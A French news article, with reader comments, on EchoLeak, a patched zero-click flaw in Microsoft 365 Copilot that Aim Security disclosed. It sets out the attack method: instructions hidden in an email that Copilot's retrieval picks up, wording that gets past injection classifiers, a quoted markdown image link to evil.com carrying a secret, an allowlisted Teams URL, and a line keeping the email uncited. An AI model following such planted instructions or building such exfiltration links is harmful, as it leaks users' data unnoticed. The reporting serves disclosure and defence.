Connexion
Abonnez-vous

Une faille zéro-clic dans Copilot 365 souligne la fragilité des agents IA

Phishing assisté par IA

Une faille zéro-clic dans Copilot 365 souligne la fragilité des agents IA

Les chercheurs de la startup Aim Security ont exploité l'automatisation du traitement des emails par l'IA Copilot de Microsoft pour exfiltrer des données d'un utilisateur. Cette vulnérabilité, nommée EchoLeak, montre comment l'IA générative intégrée à des services en production peut facilement devenir une porte d'entrée pour des attaques discrètes.

Le 16 juin à 08h41

La suite bureautique en ligne de Microsoft 365 permettait pendant un temps à une personne mal intentionnée d'exfiltrer les données de ses utilisateurs. C'est l'agent IA Copilot, intégré dans la suite par l'entreprise, qui en était responsable, selon les chercheurs de la startup en sécurité informatique Aim Security. Ils ont rendu publique leur découverte après avoir informé Microsoft, lui donnant le temps de colmater la faille.

La configuration des RAG de Copilot en cause

Dans son billet d'explication, Aim Security explique que cette vulnérabilité – que l'entreprise a nommée EchoLeak – « exploite les défauts de conception typiques des RAG de Copilot ». Les RAG (Retrieval-augmented generation), permettent de plonger une IA générative dans une masse de documents pour qu'elle s'y adapte. Cela permet d'augmenter la pertinence des réponses générées, notamment pour travailler sur des documents internes ou en faire des résumés. Les RAG de Copilot interrogent le Microsoft Graph, une API permettant d'accéder aux données utilisateurs. Ainsi, ils peuvent récupérer les données de la plupart des services proposés par Microsoft :

Mais, jusqu'à récemment, la configuration par défaut de Copilot permettait à des attaquants d'exfiltrer des données sans dépendre d'une action spécifique de l'utilisateur.

Les instructions dans un simple email

L'attaque imaginée par Aim Security se déroule en trois étapes : d'abord l'injection masquée d'instructions à Copilot lui demandant de récupérer des données, puis l'activation de ces instructions et enfin l'exfiltration.

Pour la première étape, les chercheurs de la startup ont envoyé un email au compte utilisateur qu'ils attaquaient. Mais, contrairement au phishing classique, pas besoin ici que l'utilisateur l'ouvre. Il suffit qu'il interroge Copilot sur certains sujets pour que l'IA utilise le contenu du mail comme source.

Un contournement facile des sécurités mises en place par Microsoft

Deuxième étape, l'activation des instructions. Les concepteurs d'agent IA comme Copilot mettent en place des garde-fous pour que, si l'IA tombe sur un texte comportant des instructions, en principe, elle ne les exécute pas. Ces garde-fous sont appelés des classifieurs XPIA (cross-prompt injection attacks, attaques par injection d'instructions croisées).

« Malheureusement », selon les chercheurs d'Aim Security, « il a été facile de contourner ce problème en formulant l'e-mail contenant les instructions malveillantes comme si les instructions étaient destinées au destinataire ». Ils précisent que le contenu de l'e-mail qu'ils ont envoyé n'utilise jamais des termes faisant allusion à l'IA ou à Copilot « afin de s'assurer que les classificateurs XPIA ne détectent pas l'e-mail comme étant malveillant ». Ils ajoutent que les jeux de données qui permettraient de détecter des injections d'instruction sont rares et qu'il existe de nombreux moyens de cacher ce type d'injections.

Si l’utilisateur déclenche le traitement de l’email en interrogeant lui-même Copilot, les chances de réussite sont maximisées. Deux méthodes pour y parvenir, selon Aim Security : soit envoyer un certain nombre d'emails couvrant chacun un sujet, soit envoyer un long email avec chaque sujet traité de façon succincte. Les chercheurs ont choisi la deuxième option, comme ceci :

Le plus difficile reste de sortir les données

Cet email permet donc de déclencher des instructions pour que Copilot aille à la pêche aux données visées. Mais il reste à les exfiltrer. Ils ont d'abord réussi à créer en Markdown un lien dans le chat de Copilot avec des paramètres cachés qui renvoient les informations les plus sensibles.

Mais cela demandait à l'utilisateur de cliquer. Ils ont donc pensé à passer les paramètres via l'intégration d'une image. « Le navigateur essaiera automatiquement de récupérer l'image, de sorte que l'utilisateur n'a pas besoin de cliquer sur quoi que ce soit, mais le navigateur "cliquera sur le lien" pour nous », expliquent-ils.

« Les images markdown sont formatées de la même manière que les liens markdown, mais elles sont précédées d'un point d'exclamation :

![Image alt text](https://www.evil.com/image.png?param=<secret>)

« Ce formatage d'image en markdown est également soumis à la même rédaction que les liens », ajoutent-ils.

Reste un problème : Microsoft ne permet pas d'insérer n'importe quel lien dans les images. Seuls des liens vers différents serveurs listés par l'entreprise sont permis. Après avoir fouillé différentes façons d'utiliser ces serveurs, les chercheurs de Aim Security ont trouvé un lien lié à Teams qui permettait d'exécuter une requête GET sans nécessité d'interaction avec l'utilisateur.

Enfin, ils ont réussi à affiner leur attaque de façon à ce que l'email envoyé pour mettre en place l'attaque ne soit jamais découvert : « Pour ce faire, il suffit de demander au "destinataire de l'email" de ne jamais faire référence à ce courriel pour des raisons de confidentialité ».

Cinq mois pour trouver une solution

Le fondateur d'Aim Security, Adir Gruss, a expliqué au média Fortune que son équipe a découvert la faille et contacté Microsoft en janvier dernier. « Ils nous ont dit que c'était une véritable révolution pour eux », explique-t-il. Mais Microsoft a mis cinq mois à boucher la faille, ce qui « est un délai (très) élevé pour ce type de problème », a-t-il commenté.

« Nous remercions Aim d'avoir identifié et signalé ce problème de manière responsable afin qu'il puisse être résolu avant que nos clients ne soient affectés », a déclaré de son côté Microsoft. L'entreprise a ajouté : « Nous avons déjà mis à jour nos produits pour atténuer ce problème, et aucune action de la part de nos clients n'est nécessaire. Nous mettons également en œuvre des mesures supplémentaires de défense en profondeur afin de renforcer notre position en matière de sécurité ».

Commentaires (15)

votre avatar
Ca n'a pas l'air si complexe que cela au finale comme kill chain. Je ne suis pas étonné que le délai ait été aussi long étant donné que ces agent IA sont de vraies boites noires. Quand quelque chose de plus épicé sortira, ça risque de doubler ce délai.
Après recevoir un mail comme celui qu'il ont envoyé et se dire que rien de bizarre se passe est légèrement irréaliste. Après, je n'aime pas avoir des mails non lus mais je connais certaines personnes qui ont des milliers de mails non lus dans leur boite de reception (ça me donne des envies de meurtre)
votre avatar
Je ne pense pas que le mail soit visible :

"Enfin, ils ont réussi à affiner leur attaque de façon à ce que l'email envoyé pour mettre en place l'attaque ne soit jamais découvert : « Pour ce faire, il suffit de demander au "destinataire de l'email" de ne jamais faire référence à ce courriel pour des raisons de confidentialité »."
votre avatar
J'ai compris cette phrase plutôt en écrivant dans le corps du mail un baratin du genre : S'il te plait, ne parle jamais que tu as reçu ce mail.
Pas comme un mail invisible dans la boite du destinataire mais plutôt invisible ensuite pour l'agent IA
votre avatar
Ah oui, effectivement.
J'avoue que je ne sais pas.
votre avatar
Oui, j'ai aussi compris le mécanisme comme rendant le mail non citable directement par Copilot. Le mail reste surement dans la boite mail et donc accessible. Néanmoins, les personnes qui utilisent Copilot comme les chercheurs le décrivent sont sans doute moins susceptibles à aller voir les mails dans leur boite... Surtout si Copilot leur a déjà fait un brief sur les mails du jour en question.
votre avatar
Chez Bleeping Computer, ils indiquent :
The attack begins with a malicious email sent to the target, containing text unrelated to Copilot and formatted to look like a typical business document.
The email embeds a hidden prompt injection crafted to instruct the LLM to extract and exfiltrate sensitive internal data.
Donc, le message ressemble à un message de travail "normal" et la partie prompt est cachée et visible uniquement par le code source (et donc par Copilot).

C'est fourbe mais assez classique, vive les messages en texte brut 😉
votre avatar
Oui, c'est ce que j'avais compris aussi (et ce que j'ai essayé de décrire, mais peut être pas de façon assez détaillée). Mais dans ces prompts, il y en a un qui dit que cet email est confidentiel, ce qui pousse Copilot à ne pas l'utiliser comme source pour informer l'utilisateur.
votre avatar
Avant, on implémentait des fonctions permettant à des questions précises d'avoir des réponses précises.
Maintenant, on implémente une fonction qui sait répondre à tous, a qui il faut apprendre à la fermer sur une infinité de sujet.

Je ne vois pas comment c'est "mathématiquement" possible d'y arriver.
votre avatar
En tout cas l'intelligence humaine a encore son mot à dire !
:fumer:
votre avatar
Je suis un prince nigérien et j'ai besoin de votre service…
votre avatar
Ah c'est vous ? J'ai bien reçu votre spam, le virement est en cours ! :smack:
votre avatar
pour atténuer ce problème
Le bar est encore ouvert ! :bravo:
votre avatar
Pour moi, le vrai problème c'est l'exfiltration des données via l'URL de l'image.
C'est analogue aux failles de preview d'un email en HTML.

Ca reste problématique que l'IA suive les instructions d'un email provenant d'un tiers.
Mais d'un autre coté l'IA fait ce qu'on lui demande.
Pas certain qu'un utilisateur humain aurait fait différemment.
votre avatar
Pour ça que l'IA devrait être appelée "idiotie artificielle".
votre avatar
Ingénierie sociale artificielle XD

Une faille zéro-clic dans Copilot 365 souligne la fragilité des agents IA

  • La configuration des RAG de Copilot en cause

  • Les instructions dans un simple email

  • Un contournement facile des sécurités mises en place par Microsoft

  • Le plus difficile reste de sortir les données

  • Cinq mois pour trouver une solution

Fermer